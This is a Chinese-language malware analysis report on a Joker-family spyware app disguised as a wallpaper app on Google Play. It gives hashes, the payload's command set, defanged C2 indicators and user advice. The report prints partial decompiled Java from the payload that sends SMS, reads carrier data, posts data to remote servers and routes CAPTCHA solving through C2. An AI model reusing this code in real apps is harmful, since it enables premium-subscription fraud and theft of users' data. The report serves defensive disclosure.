Spyware.Joker分析报告
2023-9-24 20:41:9 Author: xz.aliyun.com(查看原文) 阅读量:10 收藏

2023年9月20日,知名社交平台X(前身为推特)上有移动安全人员发布一则Android恶意软件提醒推文[1],文章披露了全球最大的Android应用软件商店Google Play上发布了一个Android恶意软件家族Joker传播的一款名为Beauty Wallpaper HD的恶意应用软件,截至9月20日为止,拥有1000+下载量的Joker家族样本,其家族名源于其早期使用的C2域名,提取了其中的特征字符串Joker作为其家族名称,其主要的恶意行为是肆意给用户订阅各种收费SP服务、窃取用户隐私来进行收益,鉴于Joker是目前Google Play商店上最活跃的家族之一,所以我对其家族成员样本进行详细分析,披露其近期的发展态势。

恶意行为主要通过主恶意软件Beauty Wallpaper HD以及其衍生物来施行,所以通过对其进行分析掌握其恶意行为的细节脉络。

Beauty Wallpaper HD

样本概况

描述
应用名 Beauty Wallpaper HD
包名 com.wellnone.wallpaper
文件类型 APK
文件大小 21.14 MB
MD5 5d53a4977ceddd86083c0ae66f3b3133
证书MD5 7af3f792457692ff9dd2b47d29911c82
病毒家族 Joker
报毒 2/63(VirusTotal)
发布时间 2023-09-14

杀毒引擎扫描结果

截至9月20日为止,只有卡巴斯基、ZoneAlarm两款杀毒引擎检测出其是恶意应用软件并且指出其为Joker家族的成员。

发布日期

从以下三个数据,推断出该恶意软件的流出时间为2023-09-14。
1.证书的有效期起始时间

2.Google Play上的软件更新日期

3.应用商店apksos收录该恶意软件的日期

威胁行为分析

9月21日通过网络抓包,可以看到相关资源已经从服务器中删除。

衍生物

样本概况

描述
应用名 abc.png-v265.tmp
包名
文件类型 DEX
文件大小 59KB
MD5 627f6746d8d1eb9afdf067968e4122d3fc8f3a14
证书MD5
病毒家族 Joker
报毒 无(VirusTotal)
发布时间 2023-09-14

威胁行为分析

远程指令执行

描述
cmd_timeout 命令执行超时设置
page_timeout 页面超时设置
hold 执行Javascript脚本
load_url 加载特定页面
entry_timeout 启动超时设置
wait_pin 等待Pin确认码
sleep 睡眠
do_nothing 测试项
wait_mo 等待

监听并发送短信

监听短信接收

删除短信

上传获取设备信息

设备启动时收集PIN码

提供JS接口

添加注释
@JavascriptInterface
    public void addComment(String s) {
        this.a.a("\naddComment:" + s, true);
        this.c.a(s);
    }
GET请求

命令执行次数
@JavascriptInterface
    public int cmdRunCount(String s) {
        Integer integer0 = (Integer)this.c.P.get(s);
        if(integer0 == null) {
            integer0 = (int)0;
        }

        this.c.P.put(s, Integer.valueOf(((int)integer0) + 1));
        return (int)integer0;
    }
自定义ajax请求
@JavascriptInterface
    public void customAjax(String s, String s1) {
        try {
            this.a.a("customAjax:-url:" + s + "   body:" + s1, true);
            this.d.a.put(s, s1);
        }
        catch(Exception exception0) {
            this.a.a("customAjax--failed:" + exception0 + "  " + exception0.getMessage());
        }
    }
自定义提交
@JavascriptInterface
    public void customSubmit(String s, String s1) {
        try {
            this.a.a("customSubmit:-url:" + s + "   body:" + s1, true);
            this.d.b.put(s, s1);
        }
        catch(Exception exception0) {
            this.a.a("customSubmit--failed:" + exception0 + "  " + exception0.getMessage());
        }
    }
下载页面
@JavascriptInterface
    public void dpage(String s, String s1) {
        int v = TextUtils.isEmpty(s) ? 0 : s.length();
        this.a.a("jsDump:" + v + ":" + s1, true);
        if(s1.startsWith("about:blank")) {
            this.a.a("jsDump---ignore-page:" + s1, true);
            return;
        }
获取运营商信息
@JavascriptInterface
    public String getOp() {
        return z.e(this.b.a);
    }
public static String e(Context context0) {
        TelephonyManager telephonyManager0 = (TelephonyManager)context0.getSystemService("phone");
        return telephonyManager0 == null ? "" : telephonyManager0.getSimOperator();
}
获取屏幕信息
@JavascriptInterface
    public String getScreen() {
        try {
            JSONObject jSONObject0 = new JSONObject();
            jSONObject0.put("width", this.b.d.a);
            jSONObject0.put("height", this.b.d.b);
            jSONObject0.put("availWidth", this.b.d.d);
            jSONObject0.put("availHeight", this.b.d.e);
            jSONObject0.put("keyboardHeight", this.b.d.g);
            return jSONObject0.toString();
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
            return null;
        }
    }
上传下载图片
@JavascriptInterface
    public String imageDama(String s, String s1) {
        String s5;
        String s2 = this.c.x;
        String s3 = "";
        if(s.equals("get")) {
            try {
                HttpURLConnection httpURLConnection0 = (HttpURLConnection)new URL(s1).openConnection();
                httpURLConnection0.setRequestMethod("GET");
                httpURLConnection0.connect();
                if(httpURLConnection0.getResponseCode() == 200) {
                    BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpURLConnection0.getInputStream(), "utf-8"));
                    StringBuilder stringBuilder0 = new StringBuilder();
                    while(true) {
                        String s4 = bufferedReader0.readLine();
                        if(s4 == null) {
                            break;
                        }

                        stringBuilder0.append(s4);
                    }

                    s5 = stringBuilder0.toString().trim();
                    goto label_18;
                }
            }
.....
        if(s.equals("post")) {
            try {
                HttpURLConnection httpURLConnection1 = (HttpURLConnection)new URL(s1).openConnection();
                httpURLConnection1.setRequestMethod("POST");
                httpURLConnection1.setDoOutput(true);
                httpURLConnection1.setDoInput(true);
                httpURLConnection1.setUseCaches(false);
                httpURLConnection1.connect();
                byte[] arr_b = ("{\"method\":\"base64\",\"key\":\"d72dbd608088d9502f0636bd38d03dea\",\"body\":\"data:image/jpeg;base64," + s2 + "\"}").getBytes(StandardCharsets.UTF_8);
                httpURLConnection1.getOutputStream().write(arr_b);
                if(httpURLConnection1.getResponseCode() == 200) {
                    BufferedReader bufferedReader1 = new BufferedReader(new InputStreamReader(httpURLConnection1.getInputStream(), "utf-8"));
                    StringBuilder stringBuilder1 = new StringBuilder();
                    while(true) {
                        String s6 = bufferedReader1.readLine();
                        if(s6 == null) {
                            break;
                        }

                        stringBuilder1.append(s6);
                    }

                    s3 = stringBuilder1.toString().trim();
                    goto label_48;
                }
            }
注入号码
@JavascriptInterface
    public void injectNumber(String s) {
        if(!TextUtils.isEmpty(s)) {
            v265t3.a.a(this.b.a, s);
        }
    }
短信发送
@JavascriptInterface
    public void moSend(String s, String s1) {
        this.a.a("jsMoSend--->:address:" + s + "--->content:" + s1, true);
        if(TextUtils.isEmpty(s)) {
            this.c.d = s1;
            return;
        }

        this.a.c(s, s1);
    }
验证码
@JavascriptInterface
    public String recaptcha(String s, int v, String s1) {
        int v1 = 30000;
        try {
            Uri.Builder uri$Builder0 = z.a(this.a, v265t1.a.c + v265t1.a.m + s);
            uri$Builder0.appendQueryParameter("step", "" + v);
            if(v == 0) {
                JSONObject jSONObject0 = new JSONObject(s1);
                String s2 = jSONObject0.getString("url");
                String s3 = jSONObject0.getString("key");
                uri$Builder0.appendQueryParameter("website_url", s2).appendQueryParameter("website_key", s3);
                if("v3".equalsIgnoreCase(s)) {
                    String s4 = jSONObject0.getString("action");
                    double f = jSONObject0.getDouble("score");
                    uri$Builder0.appendQueryParameter("page_action", s4).appendQueryParameter("min_score", "" + f);
                }
            }
            else {
                uri$Builder0.appendQueryParameter("recaptcha_task_id", s1);
            }

            String s5 = uri$Builder0.toString();
            this.a.a("recaptcha---url:" + s5, true);
            HttpURLConnection httpURLConnection0 = (HttpURLConnection)new URL(s5).openConnection();
            httpURLConnection0.setRequestMethod("POST");
            httpURLConnection0.setConnectTimeout(30000);
            if(v != 0) {
                v1 = 120000;
            }

            httpURLConnection0.setReadTimeout(v1);
            httpURLConnection0.setRequestProperty("Content-Type", "text/plain;charset=utf-8");
            int v2 = httpURLConnection0.getResponseCode();
            this.a.a("recaptcha---status:" + v2, true);
            return v265t3.a.a(httpURLConnection0);
        }
停止任务
@JavascriptInterface
    public void stopTask(int v) {
        this.a.a(((long)v));
    }

Joker(又称Bread)家族最早于2016年12月被捕捉到,截至目前VirusTotal上捕获到该家族发布恶意软件数量已达1w+。

即使全球最大的Android应用商店Google Play,也非绝对安全的下载渠道,强大的审查机制、检测能力,也无法拦截所有恶意软件的渗透植入,所以为了用户的设备安全提出以下建议:

  1. 非必要不使用小众应用软件。
  2. 非必要不适用上线短的应用软件。
  3. 下载应用认准各大应用商店或者去大厂应用软件官网进行下载。
  4. 关注安全厂商安全新闻,一旦发现被披露的恶意应用软件出现在自己手机上,及时联系专业安全人员进行处理。
描述
fm0989184@gmail[.]com 恶意应用软件发布者邮箱
https://viplive[.]win/G7B8B9S79SH8H0DWNK9L.log 衍生物
http://nicephoto.biquaurall[.]site:8080/device/ 接收信息的后台

[1] 推文:Joker Trojan on Google Play
[2] Beauty Wallpaper HD
[3] “激进”的Joker家族木马 - 先知社区
[4] VirusTotal - 检测结果
[5] APKSos应用商店-Beauty Wallpaper HD 1.0.16 APK


文章来源: https://xz.aliyun.com/t/12882
如有侵权请联系:admin#unsafe.sh